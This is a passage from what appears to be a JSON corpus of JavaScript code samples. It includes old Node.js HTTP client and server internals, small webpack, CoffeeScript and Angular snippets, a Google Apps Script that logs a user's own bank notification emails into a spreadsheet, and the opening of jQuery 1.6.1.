util._extend({}, self.options);\n  options.port = port;\n  options.host = host;\n  options.localAddress = localAddress;\n  var s = self.createConnection(options);\n  if (!self.sockets[name]) {\n    self.sockets[name] = [];\n  }\n  this.sockets[name].push(s);\n  var onFree = function() {\n    self.emit('free', s, host, port, localAddress);\n  }\n  s.on('free', onFree);\n  var onClose = function(err) {\n    // This is the only place where sockets get removed from the Agent.\n    // If you want to remove a socket from the pool, just close it.\n    // All socket errors end in a close event anyway.\n    self.removeSocket(s, name, host, port, localAddress);\n  }\n  s.on('close', onClose);\n  var onRemove = function() {\n    // We need this function for cases like HTTP 'upgrade'\n    // (defined by WebSockets) where we need to remove a socket from the pool\n    //  because it'll be locked up indefinitely\n    self.removeSocket(s, name, host, port, localAddress);\n    s.removeListener('close', onClose);\n    s.removeListener('free', onFree);\n    s.removeListener('agentRemove', onRemove);\n  }\n  s.on('agentRemove', onRemove);\n  return s;\n};\nAgent.prototype.removeSocket = function(s, name, host, port, localAddress) {\n  if (this.sockets[name]) {\n    var index = this.sockets[name].indexOf(s);\n    if (index !== -1) {\n      this.sockets[name].splice(index, 1);\n      if (this.sockets[name].length === 0) {\n        // don't leak\n        delete this.sockets[name];\n      }\n    }\n  }\n  if (this.requests[name] && this.requests[name].length) {\n    // If we have pending requests and a socket gets closed a new one\n    this.createSocket(name, host, port, localAddress).emit('free');\n  }\n};\n\nvar globalAgent = new Agent();\nexports.globalAgent = globalAgent;\n\n\nfunction ClientRequest(options, cb) {\n  var self = this;\n  OutgoingMessage.call(self);\n\n  self.agent = options.agent === undefined ? globalAgent : options.agent;\n\n  var defaultPort = options.defaultPort || 80;\n\n  var port = options.port || defaultPort;\n  var host = options.hostname || options.host || 'localhost';\n\n  if (options.setHost === undefined) {\n    var setHost = true;\n  }\n\n  self.socketPath = options.socketPath;\n\n  var method = self.method = (options.method || 'GET').toUpperCase();\n  self.path = options.path || '/';\n  if (cb) {\n    self.once('response', cb);\n  }\n\n  if (!Array.isArray(options.headers)) {\n    if (options.headers) {\n      var keys = Object.keys(options.headers);\n      for (var i = 0, l = keys.length; i < l; i++) {\n        var key = keys[i];\n        self.setHeader(key, options.headers[key]);\n      }\n    }\n    if (host && !this.getHeader('host') && setHost) {\n      var hostHeader = host;\n      if (port && +port !== defaultPort) {\n        hostHeader += ':' + port;\n      }\n      this.setHeader('Host', hostHeader);\n    }\n  }\n\n  if (options.auth && !this.getHeader('Authorization')) {\n    //basic auth\n    this.setHeader('Authorization', 'Basic ' +\n                   new Buffer(options.auth).toString('base64'));\n  }\n\n  if (method === 'GET' || method === 'HEAD' || method === 'CONNECT') {\n    self.useChunkedEncodingByDefault = false;\n  } else {\n    self.useChunkedEncodingByDefault = true;\n  }\n\n  if (Array.isArray(options.headers)) {\n    self._storeHeader(self.method + ' ' + self.path + ' HTTP/1.1\\r\\n',\n                      options.headers);\n  } else if (self.getHeader('expect')) {\n    self._storeHeader(self.method + ' ' + self.path + ' HTTP/1.1\\r\\n',\n                      self._renderHeaders());\n  }\n  if (self.socketPath) {\n    self._last = true;\n    self.shouldKeepAlive = false;\n    if (options.createConnection) {\n      self.onSocket(options.createConnection(self.socketPath));\n    } else {\n      self.onSocket(net.createConnection(self.socketPath));\n    }\n  } else if (self.agent) {\n    // If there is an agent we should default to Connection:keep-alive.\n    self._last = false;\n    self.shouldKeepAlive = true;\n    self.agent.addRequest(self, host, port, options.localAddress);\n  } else {\n    // No agent, default to Connection:close.\n    self._last = true;\n    self.shouldKeepAlive = false;\n    if (options.createConnection) {\n      options.port = port;\n      options.host = host;\n      var conn = options.createConnection(options);\n    } else {\n      var conn = net.createConnection({\n        port: port,\n        host: host,\n        localAddress: options.localAddress\n      });\n    }\n    self.onSocket(conn);\n  }\n\n  self._deferToConnect(null, null, function() {\n    self._flush();\n    self = null;\n  });\n\n}\nutil.inherits(ClientRequest, OutgoingMessage);\n\nexports.ClientRequest = ClientRequest;\n\nClientRequest.prototype._implicitHeader = function() {\n  this._storeHeader(this.method + ' ' + this.path + ' HTTP/1.1\\r\\n',\n                    this._renderHeaders());\n};\n\nClientRequest.prototype.abort = function() {\n  if (this.socket) {\n    // in-progress\n    this.socket.destroy();\n  } else {\n    // haven't been assigned a socket yet.\n    // this could be more efficient, it could\n    // remove itself from the pending requests\n    this._deferToConnect('destroy', []);\n  }\n};\n\n\nfunction createHangUpError() {\n  var error = new Error('socket hang up');\n  error.code = 'ECONNRESET';\n  return error;\n}\n\n// Free the parser and also break any links that it\n// might have to any other things.\n// TODO: All parser data should be attached to a\n// single object, so that it can be easily cleaned\n// up by doing `parser.data = {}`, which should\n// be done in FreeList.free.  `parsers.free(parser)`\n// should be all that is needed.\nfunction freeParser(parser, req) {\n  if (parser) {\n    parser._headers = [];\n    parser.onIncoming = null;\n    if (parser.socket) {\n      parser.socket.onend = null;\n      parser.socket.ondata = null;\n      parser.socket.parser = null;\n    }\n    parser.socket = null;\n    parser.incoming = null;\n    parsers.free(parser);\n    parser = null;\n  }\n  if (req) {\n    req.parser = null;\n  }\n}\n\n\nfunction socketCloseListener() {\n  var socket = this;\n  var parser = socket.parser;\n  var req = socket._httpMessage;\n  debug('HTTP socket close');\n  req.emit('close');\n  if (req.res && req.res.readable) {\n    // Socket closed before we emitted 'end' below.\n    req.res.emit('aborted');\n    var res = req.res;\n    req.res._emitPending(function() {\n      res._emitEnd();\n      res.emit('close');\n      res = null;\n    });\n  } else if (!req.res && !req._hadError) {\n    // This socket error fired before we started to\n    // receive a response. The error needs to\n    // fire on the request.\n    req.emit('error', createHangUpError());\n  }\n\n  if (parser) {\n    parser.finish();\n    freeParser(parser, req);\n  }\n}\n\nfunction socketErrorListener(err) {\n  var socket = this;\n  var parser = socket.parser;\n  var req = socket._httpMessage;\n  debug('HTTP SOCKET ERROR: ' + err.message + '\\n' + err.stack);\n\n  if (req) {\n    req.emit('error', err);\n    // For Safety. Some additional errors might fire later on\n    // and we need to make sure we don't double-fire the error event.\n    req._hadError = true;\n  }\n\n  if (parser) {\n    parser.finish();\n    freeParser(parser, req);\n  }\n  socket.destroy();\n}\n\nfunction socketOnEnd() {\n  var socket = this;\n  var req = this._httpMessage;\n  var parser = this.parser;\n\n  if (!req.res) {\n    // If we don't have a response then we know that the socket\n    // ended prematurely and we need to emit an error on the request.\n    req.emit('error', createHangUpError());\n    req._hadError = true;\n  }\n  if (parser) {\n    parser.finish();\n    freeParser(parser, req);\n  }\n  socket.destroy();\n}\n\nfunction socketOnData(d, start, end) {\n  var socket = this;\n  var req = this._httpMessage;\n  var parser = this.parser;\n\n  var ret = parser.execute(d, start, end - start);\n  if (ret instanceof Error) {\n    debug('parse error');\n    freeParser(parser, req);\n    socket.destroy(ret);\n  } else if (parser.incoming && parser.incoming.upgrade) {\n    // Upgrade or CONNECT\n    var bytesParsed = ret;\n    var res = parser.incoming;\n    req.res = res;\n\n    socket.ondata = null;\n    socket.onend = null;\n    parser.finish();\n\n    // This is start + byteParsed\n    var bodyHead = d.slice(start + bytesParsed, end);\n\n    var eventName = req.method === 'CONNECT' ? 'connect' : 'upgrade';\n    if (req.listeners(eventName).length) {\n      req.upgradeOrConnect = true;\n\n      // detach the socket\n      socket.emit('agentRemove');\n      socket.removeListener('close', socketCloseListener);\n      socket.removeListener('error', socketErrorListener);\n\n      req.emit(eventName, res, socket, bodyHead);\n      req.emit('close');\n    } else {\n      // Got Upgrade header or CONNECT method, but have no handler.\n      socket.destroy();\n    }\n    freeParser(parser, req);\n  } else if (parser.incoming && parser.incoming.complete &&\n             // When the status code is 100 (Continue), the server will\n             // send a final response after this client sends a request\n             // body. So, we must not free the parser.\n             parser.incoming.statusCode !== 100) {\n    freeParser(parser, req);\n  }\n}\n\n\nfunction parserOnIncomingClient(res, shouldKeepAlive) {\n  var parser = this;\n  var socket = this.socket;\n  var req = socket._httpMessage;\n\n  debug('AGENT incoming response!');\n\n  if (req.res) {\n    // We already have a response object, this means the server\n    // sent a double response.\n    socket.destroy();\n    return;\n  }\n  req.res = res;\n\n  // Responses to CONNECT request is handled as Upgrade.\n  if (req.method === 'CONNECT') {\n    res.upgrade = true;\n    return true; // skip body\n  }\n\n  // Responses to HEAD requests are crazy.\n  // HEAD responses aren't allowed to have an entity-body\n  // but *can* have a content-length which actually corresponds\n  // to the content-length of the entity-body had the request\n  // been a GET.\n  var isHeadResponse = req.method == 'HEAD';\n  debug('AGENT isHeadResponse ' + isHeadResponse);\n\n  if (res.statusCode == 100) {\n    // restart the parser, as this is a continue message.\n    delete req.res; // Clear res so that we don't hit double-responses.\n    req.emit('continue');\n    return true;\n  }\n\n  if (req.shouldKeepAlive && !shouldKeepAlive && !req.upgradeOrConnect) {\n    // Server MUST respond with Connection:keep-alive for us to enable it.\n    // If we've been upgraded (via WebSockets) we also shouldn't try to\n    // keep the connection open.\n    req.shouldKeepAlive = false;\n  }\n\n\n  DTRACE_HTTP_CLIENT_RESPONSE(socket, req);\n  req.emit('response', res);\n  req.res = res;\n  res.req = req;\n\n  res.on('end', responseOnEnd);\n\n  return isHeadResponse;\n}\n\nfunction responseOnEnd() {\n  var res = this;\n  var req = res.req;\n  var socket = req.socket;\n\n  if (!req.shouldKeepAlive) {\n    if (socket.writable) {\n      debug('AGENT socket.destroySoon()');\n      socket.destroySoon();\n    }\n    assert(!socket.writable);\n  } else {\n    debug('AGENT socket keep-alive');\n    socket.removeListener('close', socketCloseListener);\n    socket.removeListener('error', socketErrorListener);\n    socket.emit('free');\n  }\n}\n\nClientRequest.prototype.onSocket = function(socket) {\n  var req = this;\n\n  process.nextTick(function() {\n    var parser = parsers.alloc();\n    req.socket = socket;\n    req.connection = socket;\n    parser.reinitialize(HTTPParser.RESPONSE);\n    parser.socket = socket;\n    parser.incoming = null;\n    req.parser = parser;\n\n    parser.socket = socket;\n    socket.parser = parser;\n    parser.incoming = null;\n    socket._httpMessage = req;\n\n    // Setup \"drain\" propogation.\n    httpSocketSetup(socket);\n\n    // Propagate headers limit from request object to parser\n    if (typeof req.maxHeadersCount === 'number') {\n      parser.maxHeaderPairs = req.maxHeadersCount << 1;\n    } else {\n      // Set default value because parser may be reused from FreeList\n      parser.maxHeaderPairs = 2000;\n    }\n\n    socket.on('error', socketErrorListener);\n    socket.ondata = socketOnData;\n    socket.onend = socketOnEnd;\n    socket.on('close', socketCloseListener);\n    parser.onIncoming = parserOnIncomingClient;\n    req.emit('socket', socket);\n  });\n\n};\n\nClientRequest.prototype._deferToConnect = function(method, arguments_, cb) {\n  // This function is for calls that need to happen once the socket is\n  // connected and writable. It's an important promisy thing for all the socket\n  // calls that happen either now (when a socket is assigned) or\n  // in the future (when a socket gets assigned out of the pool and is\n  // eventually writable).\n  var self = this;\n  var onSocket = function() {\n    if (self.socket.writable) {\n      if (method) {\n        self.socket[method].apply(self.socket, arguments_);\n      }\n      if (cb) { cb(); }\n    } else {\n      self.socket.once('connect', function() {\n        if (method) {\n          self.socket[method].apply(self.socket, arguments_);\n        }\n        if (cb) { cb(); }\n      });\n    }\n  }\n  if (!self.socket) {\n    self.once('socket', onSocket);\n  } else {\n    onSocket();\n  }\n};\n\nClientRequest.prototype.setTimeout = function(msecs, callback) {\n  if (callback) this.once('timeout', callback);\n\n  var self = this;\n  function emitTimeout() {\n    self.emit('timeout');\n  }\n\n  if (this.socket && this.socket.writable) {\n    this.socket.setTimeout(msecs, emitTimeout);\n    return;\n  }\n\n  if (this.socket) {\n    this.socket.once('connect', function() {\n      this.setTimeout(msecs, emitTimeout);\n    });\n    return;\n  }\n\n  this.once('socket', function(sock) {\n    this.setTimeout(msecs, emitTimeout);\n  });\n};\n\nClientRequest.prototype.setNoDelay = function() {\n  this._deferToConnect('setNoDelay', arguments);\n};\nClientRequest.prototype.setSocketKeepAlive = function() {\n  this._deferToConnect('setKeepAlive', arguments);\n};\n\nClientRequest.prototype.clearTimeout = function(cb) {\n  this.setTimeout(0, cb);\n};\n\nexports.request = function(options, cb) {\n  if (typeof options === 'string') {\n    options = url.parse(options);\n  }\n\n  if (options.protocol && options.protocol !== 'http:') {\n    throw new Error('Protocol:' + options.protocol + ' not supported.');\n  }\n\n  return new ClientRequest(options, cb);\n};\n\nexports.get = function(options, cb) {\n  var req = exports.request(options, cb);\n  req.end();\n  return req;\n};\n\n\nfunction ondrain() {\n  if (this._httpMessage) this._httpMessage.emit('drain');\n}\n\n\nfunction httpSocketSetup(socket) {\n  socket.removeListener('drain', ondrain);\n  socket.on('drain', ondrain);\n}\n\n\nfunction Server(requestListener) {\n  if (!(this instanceof Server)) return new Server(requestListener);\n  net.Server.call(this, { allowHalfOpen: true });\n\n  if (requestListener) {\n    this.addListener('request', requestListener);\n  }\n\n  // Similar option to this. Too lazy to write my own docs.\n  // http://www.squid-cache.org/Doc/config/half_closed_clients/\n  // http://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F\n  this.httpAllowHalfOpen = false;\n\n  this.addListener('connection', connectionListener);\n}\nutil.inherits(Server, net.Server);\n\n\nexports.Server = Server;\n\n\nexports.createServer = function(requestListener) {\n  return new Server(requestListener);\n};\n\n\nfunction connectionListener(socket) {\n  var self = this;\n  var outgoing = [];\n  var incoming = [];\n\n  function abortIncoming() {\n    while (incoming.length) {\n      var req = incoming.shift();\n      req.emit('aborted');\n      req.emit('close');\n    }\n    // abort socket._httpMessage ?\n  }\n\n  function serverSocketCloseListener() {\n    debug('server socket close');\n    // mark this parser as reusable\n    freeParser(parser);\n\n    abortIncoming();\n  }\n\n  debug('SERVER new http connection');\n\n  httpSocketSetup(socket);\n\n  socket.setTimeout(2 * 60 * 1000); // 2 minute timeout\n  socket.once('timeout', function() {\n    socket.destroy();\n  });\n\n  var parser = parsers.alloc();\n  parser.reinitialize(HTTPParser.REQUEST);\n  parser.socket = socket;\n  socket.parser = parser;\n  parser.incoming = null;\n\n  // Propagate headers limit from server instance to parser\n  if (typeof this.maxHeadersCount === 'number') {\n    parser.maxHeaderPairs = this.maxHeadersCount << 1;\n  } else {\n    // Set default value because parser may be reused from FreeList\n    parser.maxHeaderPairs = 2000;\n  }\n\n  socket.addListener('error', function(e) {\n    self.emit('clientError', e);\n  });\n\n  socket.ondata = function(d, start, end) {\n    var ret = parser.execute(d, start, end - start);\n    if (ret instanceof Error) {\n      debug('parse error');\n      socket.destroy(ret);\n    } else if (parser.incoming && parser.incoming.upgrade) {\n      // Upgrade or CONNECT\n      var bytesParsed = ret;\n      var req = parser.incoming;\n\n      socket.ondata = null;\n      socket.onend = null;\n      socket.removeListener('close', serverSocketCloseListener);\n      parser.finish();\n      freeParser(parser, req);\n\n      // This is start + byteParsed\n      var bodyHead = d.slice(start + bytesParsed, end);\n\n      var eventName = req.method === 'CONNECT' ? 'connect' : 'upgrade';\n      if (self.listeners(eventName).length) {\n        self.emit(eventName, req, req.socket, bodyHead);\n      } else {\n        // Got upgrade header or CONNECT method, but have no handler.\n        socket.destroy();\n      }\n    }\n  };\n\n  socket.onend = function() {\n    var ret = parser.finish();\n\n    if (ret instanceof Error) {\n      debug('parse error');\n      socket.destroy(ret);\n      return;\n    }\n\n    if (!self.httpAllowHalfOpen) {\n      abortIncoming();\n      if (socket.writable) socket.end();\n    } else if (outgoing.length) {\n      outgoing[outgoing.length - 1]._last = true;\n    } else if (socket._httpMessage) {\n      socket._httpMessage._last = true;\n    } else {\n      if (socket.writable) socket.end();\n    }\n  };\n\n  socket.addListener('close', serverSocketCloseListener);\n\n  // The following callback is issued after the headers have been read on a\n  // new message. In this callback we setup the response object and pass it\n  // to the user.\n  parser.onIncoming = function(req, shouldKeepAlive) {\n    incoming.push(req);\n\n    var res = new ServerResponse(req);\n    debug('server response shouldKeepAlive: ' + shouldKeepAlive);\n    res.shouldKeepAlive = shouldKeepAlive;\n    DTRACE_HTTP_SERVER_REQUEST(req, socket);\n\n    if (socket._httpMessage) {\n      // There are already pending outgoing res, append.\n      outgoing.push(res);\n    } else {\n      res.assignSocket(socket);\n    }\n\n    // When we're finished writing the response, check if this is the last\n    // respose, if so destroy the socket.\n    res.on('finish', function() {\n      // Usually the first incoming element should be our request.  it may\n      // be that in the case abortIncoming() was called that the incoming\n      // array will be empty.\n      assert(incoming.length == 0 || incoming[0] === req);\n\n      incoming.shift();\n\n      res.detachSocket(socket);\n\n      if (res._last) {\n        socket.destroySoon();\n      } else {\n        // start sending the next message\n        var m = outgoing.shift();\n        if (m) {\n          m.assignSocket(socket);\n        }\n      }\n    });\n\n    if ('expect' in req.headers &&\n        (req.httpVersionMajor == 1 && req.httpVersionMinor == 1) &&\n        continueExpression.test(req.headers['expect'])) {\n      res._expect_continue = true;\n      if (self.listeners('checkContinue').length) {\n        self.emit('checkContinue', req, res);\n      } else {\n        res.writeContinue();\n        self.emit('request', req, res);\n      }\n    } else {\n      self.emit('request', req, res);\n    }\n    return false; // Not a HEAD response. (Not even a response!)\n  };\n}\nexports._connectionListener = connectionListener;\n\n// Legacy Interface\n\nfunction Client(port, host) {\n  if (!(this instanceof Client)) return new Client(port, host);\n  host = host || 'localhost';\n  port = port || 80;\n  this.host = host;\n  this.port = port;\n  this.agent = new Agent({ host: host, port: port, maxSockets: 1 });\n}\nutil.inherits(Client, EventEmitter);\nClient.prototype.request = function(method, path, headers) {\n  var self = this;\n  var options = {};\n  options.host = self.host;\n  options.port = self.port;\n  if (method[0] === '/') {\n    headers = path;\n    path = method;\n    method = 'GET';\n  }\n  options.method = method;\n  options.path = path;\n  options.headers = headers;\n  options.agent = self.agent;\n  var c = new ClientRequest(options);\n  c.on('error', function(e) {\n    self.emit('error', e);\n  });\n  // The old Client interface emitted 'end' on socket end.\n  // This doesn't map to how we want things to operate in the future\n  // but it will get removed when we remove this legacy interface.\n  c.on('socket', function(s) {\n    s.on('end', function() {\n      self.emit('end');\n    });\n  });\n  return c;\n};\n\nexports.Client = Client;\n\n// TODO http.Client can be removed in v0.9. Until then leave this message.\nmodule.deprecate('Client', 'It will be removed soon. Do not use it.');\n\nexports.createClient = function(port, host) {\n  return new Client(port, host);\n};\nmodule.deprecate('createClient', 'Use `http.request` instead.');\n"
  },
  {
    "path": "samples/JavaScript/index.es",
    "content": "import config from \"../webpack.config\";\nimport webpackDevMiddleware from \"webpack-dev-middleware\";\nimport webpackHot from \"webpack-hot-middleware\";\nimport webpack from \"webpack\";\nimport express from \"express\";\n\napp.use(webpackDevMiddleware(compiler, {\n\tnoInfo: false,\n\tquiet: false,\n\tpublicPath: config.output.publicPath,\n\thot: true,\n\thistoryApiFallback: true\n}));\n\t\napp.get(\"/(:root).json\", (req, resp) => {\n\tresp.send(indexer.index(req.params.root));\n});\n\nexport default function(){\n\tconst server = http.createServer(app);\n\t\n\tserver.listen(3000);\n\t\n\tconst wss = new WebSocketServer({server});\n\t\n\tlet id = 1;\n\twss.on(\"connection\", (ws) => {\n\t\tconsole.log(\"Hello\", \" world\");\n\t\tlet wsId = id++;\n\t\tsessions[wsId] = ws;\n\t\tws.on(\"close\", () => {\n\t\t\tdelete sessions[wsId]\n\t\t});\n\t});\n};\n"
  },
  {
    "path": "samples/JavaScript/intro-old.js",
    "content": "(function() {\n  var cubes, list, math, num, number, opposite, race, square;\n  var __slice = Array.prototype.slice;\n  number = 42;\n  opposite = true;\n  if (opposite) {\n    number = -42;\n  }\n  square = function(x) {\n    return x * x;\n  };\n  list = [1, 2, 3, 4, 5];\n  math = {\n    root: Math.sqrt,\n    square: square,\n    cube: function(x) {\n      return x * square(x);\n    }\n  };\n  race = function() {\n    var runners, winner;\n    winner = arguments[0], runners = 2 <= arguments.length ? __slice.call(arguments, 1) : [];\n    return print(winner, runners);\n  };\n  if (typeof elvis !== \"undefined\" && elvis !== null) {\n    alert(\"I knew it!\");\n  }\n  cubes = (function() {\n    var _i, _len, _results;\n    _results = [];\n    for (_i = 0, _len = list.length; _i < _len; _i++) {\n      num = list[_i];\n      _results.push(math.cube(num));\n    }\n    return _results;\n  })();\n}).call(this);\n"
  },
  {
    "path": "samples/JavaScript/intro.js",
    "content": "// Generated by CoffeeScript 1.2.1\n(function() {\n  var cubes, list, math, num, number, opposite, race, square,\n    __slice = [].slice;\n\n  number = 42;\n\n  opposite = true;\n\n  if (opposite) number = -42;\n\n  square = function(x) {\n    return x * x;\n  };\n\n  list = [1, 2, 3, 4, 5];\n\n  math = {\n    root: Math.sqrt,\n    square: square,\n    cube: function(x) {\n      return x * square(x);\n    }\n  };\n\n  race = function() {\n    var runners, winner;\n    winner = arguments[0], runners = 2 <= arguments.length ? __slice.call(arguments, 1) : [];\n    return print(winner, runners);\n  };\n\n  if (typeof elvis !== \"undefined\" && elvis !== null) alert(\"I knew it!\");\n\n  cubes = (function() {\n    var _i, _len, _results;\n    _results = [];\n    for (_i = 0, _len = list.length; _i < _len; _i++) {\n      num = list[_i];\n      _results.push(math.cube(num));\n    }\n    return _results;\n  })();\n\n}).call(this);\n"
  },
  {
    "path": "samples/JavaScript/intro.js.frag",
    "content": "(function(window, angular) {\n\nArray.prototype.last = function() {\n    return this[this.length-1];\n};\n\nvar app = angular.module('ConwayGameOfLife', []);\n"
  },
  {
    "path": "samples/JavaScript/itau.gs",
    "content": "/*\nThe MIT License (MIT)\n\nCopyright (c) 2014 Thiago Brandão Damasceno\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*/\n\n// based on http://ctrlq.org/code/19053-send-to-google-drive\nfunction sendToGoogleDrive() {\n\n  var gmailLabels           = 'inbox';\n  var driveFolder           = 'Itaú Notifications';\n  var spreadsheetName       = 'itau';\n  var archiveLabel          = 'itau.processed';\n  var itauNotificationEmail = 'comunicacaodigital@itau-unibanco.com.br';\n  var filter                = \"from: \" +\n                              itauNotificationEmail +\n                              \" -label:\" +\n                              archiveLabel +\n                              \" label:\" +\n                              gmailLabels;\n\n  // Create label for 'itau.processed' if it doesn't exist\n  var moveToLabel =  GmailApp.getUserLabelByName(archiveLabel);\n\n  if (!moveToLabel) {\n    moveToLabel = GmailApp.createLabel(archiveLabel);\n  }\n\n  // Create folder 'Itaú Notifications' if it doesn't exist\n  var folders = DriveApp.getFoldersByName(driveFolder);\n  var folder;\n\n  if (folders.hasNext()) {\n    folder = folders.next();\n  } else {\n    folder = DriveApp.createFolder(driveFolder);\n  }\n\n  // Create spreadsheet file 'itau' if it doesn't exist\n  var files = folder.getFilesByName(spreadsheetName);\n\n  // File is in DriveApp\n  // Doc is in SpreadsheetApp\n  // They are not interchangeable\n  var file, doc;\n\n  // Confusing :\\\n  // As per: https://code.google.com/p/google-apps-script-issues/issues/detail?id=3578\n  if (files.hasNext()){\n    file = files.next();\n    doc = SpreadsheetApp.openById(file.getId());\n  } else {\n    doc = SpreadsheetApp.create(spreadsheetName);\n    file = DriveApp.getFileById(doc.getId());\n    folder.addFile(file);\n    DriveApp.removeFile(file);\n  }\n\n  var sheet = doc.getSheets()[0];\n\n  // Append header if first line\n  if(sheet.getLastRow() == 0){\n    sheet.appendRow(['Conta', 'Operação', 'Valor', 'Data', 'Hora', 'Email ID']);\n  }\n\n  var message, messages, account, operation, value, date, hour, emailID, plainBody;\n  var accountRegex = /Conta: (XXX[0-9\\-]+)/;\n  var operationRegex = /Tipo de operação: ([A-Z]+)/;\n  var paymentRegex = /Pagamento de ([0-9A-Za-z\\-]+)\\ ?([0-9]+)?/;\n  var valueRegex = /Valor: R\\$ ([0-9\\,\\.]+)/;\n  var dateRegex = /Data: ([0-9\\/]+)/;\n  var hourRegex = /Hora: ([0-9\\:]+)/;\n  var emailIDRegex = /E-mail nº ([0-9]+)/;\n\n  var threads = GmailApp.search(filter, 0, 100);\n\n  for (var x = 0; x < threads.length; x++) {\n    messages = threads[x].getMessages();\n\n    for (var i = 0; i < messages.length; i++) {\n      account, operation, value, date, hour, emailID = [];\n\n      message = messages[i];\n\n      plainBody = message.getPlainBody();\n\n      if(accountRegex.test(plainBody)) {\n        account = RegExp.$1;\n      }\n\n      if(operationRegex.test(plainBody)) {\n        operation = RegExp.$1;\n      }\n\n      if(valueRegex.test(plainBody)) {\n        value = RegExp.$1;\n      }\n\n      if(dateRegex.test(plainBody)) {\n        date = RegExp.$1;\n      }\n\n      if(hourRegex.test(plainBody)) {\n        hour = RegExp.$1;\n      }\n\n      if(emailIDRegex.test(plainBody)){\n        emailID = RegExp.$1;\n      }\n\n      if(paymentRegex.test(plainBody)){\n        operation = RegExp.$1;\n        if(RegExp.$2){\n          operation += ' ' + RegExp.$2\n        }\n        date = hour = ' - ';\n      }\n\n      if(account && operation && value && date && hour){\n        sheet.appendRow([account, operation, value, date, hour, emailID]);\n      }\n\n      // Logger.log(account);\n      // Logger.log(operation);\n      // Logger.log(value);\n      // Logger.log(date);\n      // Logger.log(hour);\n    }\n\n    threads[x].addLabel(moveToLabel);\n  }\n}\n"
  },
  {
    "path": "samples/JavaScript/jquery-1.6.1.js",
    "content": "/*!\n * jQuery JavaScript Library v1.6.1\n * http://jquery.com/\n *\n * Copyright 2011, John Resig\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * Includes Sizzle.js\n * http://sizzlejs.com/\n * Copyright 2011, The Dojo Foundation\n * Released under the MIT, BSD, and GPL Licenses.\n *\n * Date: Thu May 12 15:04:36 2011 -0400\n */\n(function( window, undefined ) {\n\n// Use the correct document accordingly with window argument (sandbox)\nvar document = window.document,\n\tnavigator = window.navigator,\n\tlocation = window.location;\nvar jQuery = (function() {\n\n// Define a local copy of jQuery\nvar jQuery = function( selector, context ) {\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\treturn new jQuery.fn.init( selector, context, rootjQuery );\n\t},\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$,\n\n\t// A central reference to the root jQuery(document)\n\trootjQuery,\n\n\t// A simple way to check for HTML strings or ID strings\n\t// (both of which we optimize for)\n\tquickExpr = /^(?:[^<]*(<[\\w\\W]+>)[^>]*$|#([\\w\\-]*)$)/,\n\n\t// Check if a string has a non-whitespace character in it\n\trnotwhite = /\\S/,\n\n\t// Used for trimming whitespace\n\ttrimLeft = /^\\s+/,\n\ttrimRight = /\\s+$/,\n\n\t// Check for digits\n\trdigit = /\\d/,\n\n\t// Match a standalone tag\n\trsingleTag = /^<(\\w+)\\s*\\/?>(?:<\\/\\1>)?$/,\n\n\t// JSON RegExp\n\trvalidchars = /^[\\],:{}\\s]*$/,\n\trvalidescape = /\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,\n\trvalidtokens = /\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,\n\trvalidbraces = /(?:^|:|,)(?:\\s*\\[)+/g,\n\n\t// Useragent RegExp\n\trwebkit = /(webkit)[ \\/]([\\w.]+)/,\n\tropera = /(opera)(?:.*version)?[ \\/]([\\w.]+)/,\n\trmsie = /(msie) ([\\w.]+)/,\n\trmozilla = /(mozilla)(?:.*? rv:([\\w.]+))?/,\n\n\t// Keep a UserAgent string for use with jQuery.browser\n\tuserAgent = navigator.userAgent,\n\n\t// For matching the engine and version of the browser\n\tbrowserMatch,\n\n\t// The deferred used on DOM ready\n\treadyList,\n\n\t// The ready event handler\n\tDOMContentLoaded,\n\n\t// Save a reference to some core methods\n\ttoString = Object.prototype.toString,\n\thasOwn = Object.prototype.hasOwnProperty,\n\tpush = Array.prototype.push,\n\tslice = Array.prototype.slice,\n\ttrim = String.prototype.trim,\n\tindexOf = Array.prototype.indexOf,\n\n\t// [[Class]] -> type pairs\n\tclass2type = {};\n\njQuery.fn = jQuery.prototype = {\n\tconstructor: jQuery,\n\tinit: function( selector, context, rootjQuery ) {\n\t\tvar match, elem, ret, doc;\n\n\t\t// Handle $(\"\"), $(null), or $(undefined)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle $(DOMElement)\n\t\tif ( selector.nodeType ) {\n\t\t\tthis.context = this[0] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\t\t}\n\n\t\t// The body element only exists once, optimize finding it\n\t\tif ( selector === \"body\" && !context && document.body ) {\n\t\t\tthis.context = document;\n\t\t\tthis[0] = document.body;\n\t\t\tthis.selector = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\t// Are we dealing with HTML string or an ID?\n\t\t\tif ( selector.charAt(0) === \"<\" && selector.charAt( selector.length - 1 ) === \">\" && selector.length >= 3 ) {\n\t\t\t\t// Assume that strings that start and end with <> are HTML and skip the regex check\n\t\t\t\tmatch = [ null, selector, null ];\n\n\t\t\t} else {\n\t\t\t\tmatch = 